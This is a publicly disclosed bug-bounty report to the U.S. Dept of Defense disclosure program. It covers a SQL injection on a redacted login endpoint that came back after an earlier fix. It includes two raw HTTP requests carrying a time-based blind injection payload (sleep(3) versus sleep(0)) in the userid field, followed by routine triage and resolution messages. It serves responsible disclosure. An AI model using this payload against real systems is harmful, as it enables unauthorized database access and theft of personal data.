2

Code reversion allowing SQLI again in [redacted]

Share:

State ○ Resolved (Closed)

Disclosed **October 9, 2019 12:19am +0530**

Reported To **U.S. Dept Of Defense**

Weakness SQL Injection

Severity High (7 ~ 8.9)

Participants

Visibility Disclosed (Full)

Collapse

TIMELINE · EXPORT

alyssa_herrera submitted a report to U.S. Dept Of Defense. May 7th (about 1 year ago)

Summary:
I just noticed that my publicly disclosed report, https://hackerone.com/reports/311922 is sstill vulnerable either a code reversion was made or something was done to revert the patch. Additionally I'd please request that the images in the report to be censored or redacted as it's been made vulnerable again.
Description:
A code reversion made a previously patched sql injection vulnerable, allowing attackers to once again attack and access the back end DB.

Impact

High

Step-by-step Reproduction Instructions

```
POST /elist/email_aba.php HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Cookie: OAMAuthnHintCookie=0@1517649796; TS01166aa9=01caaf3a630ce6defa1b153492b912f5f19f77c7731c0b860a649ade64c8b998a2227a4ae08ffa824957ddb7a4d434ec99039bc515480c43c91adc79831b92a6c4668a4efd; PHPSESSID=1dc251336b401258c094229326d3d955
Connection: close
Upgrade-Insecure-Requests: 1

lname=S&userid=admin'%2b(select*from(select(sleep(3)))a)%2b'&pw=admin
```

vs

```
POST /elist/email_aba.php HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
```

```
Cookie: OAMAuthnHintCookie=0@1517649796;
TS01166aa9=01caaf3a630ce6defa1b153492b912f5f19f77c7731c0b860a649ade64c8b998a2227a4ae08ffa824957ddb7a4d434ec99039bc515480c43c91adc79831b92a6c4668a4efd; PHPSESSID=1dc251336b401258c094229326d3d955
Connection: close
Upgrade-Insecure-Requests: 1

lname=S&userid=admin'%2b(select*from(select(sleep(0)))a)%2b'&pw=admin
```

Product, Version, and Configuration (If applicable)

N/a

Suggested Mitigation/Remediation Actions

Take down subdomain if not needed any more

Impact

Access database information, steal sensitive PII or information

The hacker selected the **SQL Injection** weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:

Verified
Yes

What exploitation technique did you utilize?
Time delay

Please describe the results of your verification attempt.
Observed time delays when using sleep comands

BOT: U.S. Dept Of Defense posted a comment. May 7th (about 1 year ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

ag3nt-z3 changed the status to ○ **Triaged**. May 8th (about 1 year ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

ag3nt-z3 updated the severity to High. May 8th (about 1 year ago)

ag3nt-z3 closed the report and changed the status to ○ **Resolved**. Aug 22nd (about 1 year ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

alyssa_herrera requested to disclose this report. Aug 22nd (about 1 year ago)

agent-1 agreed to disclose this report. Oct 9th (3 days ago)

disclosure approved

This report has been disclosed. Oct 9th (3 days ago)